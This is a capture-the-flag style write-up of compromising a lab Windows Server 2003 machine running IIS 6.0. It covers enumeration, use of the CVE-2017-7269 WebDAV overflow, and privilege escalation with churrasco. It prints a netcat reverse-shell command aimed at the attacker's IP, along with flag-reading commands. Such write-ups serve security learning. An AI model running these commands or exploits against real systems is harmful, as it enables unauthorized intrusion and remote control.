Tracker

• User
• root  

Loot

Proofs

Passwords

Interesting Artifacts

Summary

OS: MS

Distribution: Windows(R) Server 2003, Standard Edition 5.2.3790 Service Pack 2 Build 3790

Architecture: x86

FQDN: granpa

vhosts: ?

Lessons Learned

ALWAYS pull systeminfo from Windows machine, then use Windows Exploit Suggester to look for kernel exploits, especially if it is an older OS.

Solution

Enumeration

Open Ports

http on tcp/80
Microsoft-IIS/6.0

Manual Enumeration

As always, I began by running three Nmap scans against the target. They were a quick TCP scan, a full TCP port scan, and a top 20 UDP port scan. I followed these scans up with targeted Nmap script scans of any discovered exposed services.

Nmap detected that the http server on tcp/80 supports PUT, MOVE, DELETE, etc Methods, and that it is running WebDAV.

The Nmap http script scan detected that Frontpage was running on the target host. It also found some admin files in /_vti_bin, and detected that the target may be vulnerable to a Frontpage extension anonymous login. Per the headers section, it may also be running the MS Office Web Server v 5.0_Pub.

Per the Nikto scan on the target, it may be vulnerable to the Frontpage counter CGI RCE vulnerability.

I found a few directories via gobuster.

/Images
/\_private
/\_vti_bin
/\_vti_cnf
/\_vti_inf.html
/\_vti_log
/\_vti_pvt
/\_vti_txt
/\_vti_bin/shtml.dll
/\_vti_bin/\_vti_adm/admin.dll
/\_vti_bin/\_vti_aut/author.dll
/aspnet_client
/images
/postinfo.html

Since WebDAV was running on the target, I decided to run davtest against it. I was getting fail messages for every file type, so I proxied davtest through Burp. Looking in the HTTP history tab, I could see that some requests were returning 403 errors, indicating that I did not have write permissions to the folder. Based on this info, I began running davtest against subdirectories.

Subdir /Images failed with no write perms.

Subdir /_private failed to connect entirely.

Subdir /aspnet_client failed.

I decided to take a look at the IIS 6.0 WebDAV edb 41738 again. It is a remote buffer overflow attack, and it is in python. I generated python reverse shellcode with msfvenom.

This did not work. It did, but my shell died immediately. I wound up finding a python script online at https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269 which worked and stayed open.

I didn't have user yet though, I couldn't read user Harry's home directory.

EoP Enumeration

I couldn't write to "All Users" for privesc scripts.

I was able to write to c:\wmpub.

I stood up an smbserver, and copied over win-privesc-check2.exe, then ran it. That actually hung the whole box, and I had to reset...

I pulled the systeminfo of the target and dumped it into windows-exploit-suggester, since this was a pretty old box. There were a lot of suggested exploits.

Looking through the list, I don't want any of the Metasploit vulnerabilities. The first one though, lists MS15-051 as vulnerable. I also know I have a precompiled binary for this exploit.

That wasn't working, it gave me a shell, but immediately died. Looking at whoami /priv, I see that this user is vulnerable to juicy potato. Since this machine is so old however, it is better to use churrasco. I copied churrasco to the target.

I ran the exe, having it call nc on 445.

churrasco.exe -d "C:\wmpub\nc.exe -e cmd.exe 10.10.14.24 445"

I caught a shell on my listener.

Fuck, it died pretty quickly... I need my commands ready to go then.

churrasco.exe -d "C:\wmpub\nc.exe -e cmd.exe 10.10.14.24 445"

whoami && hostname && type user.txt && ipconfig

whoami && hostname && type root.txt && ipconfig

User Compromise

root/SYSTEM Compromise

Next: Sense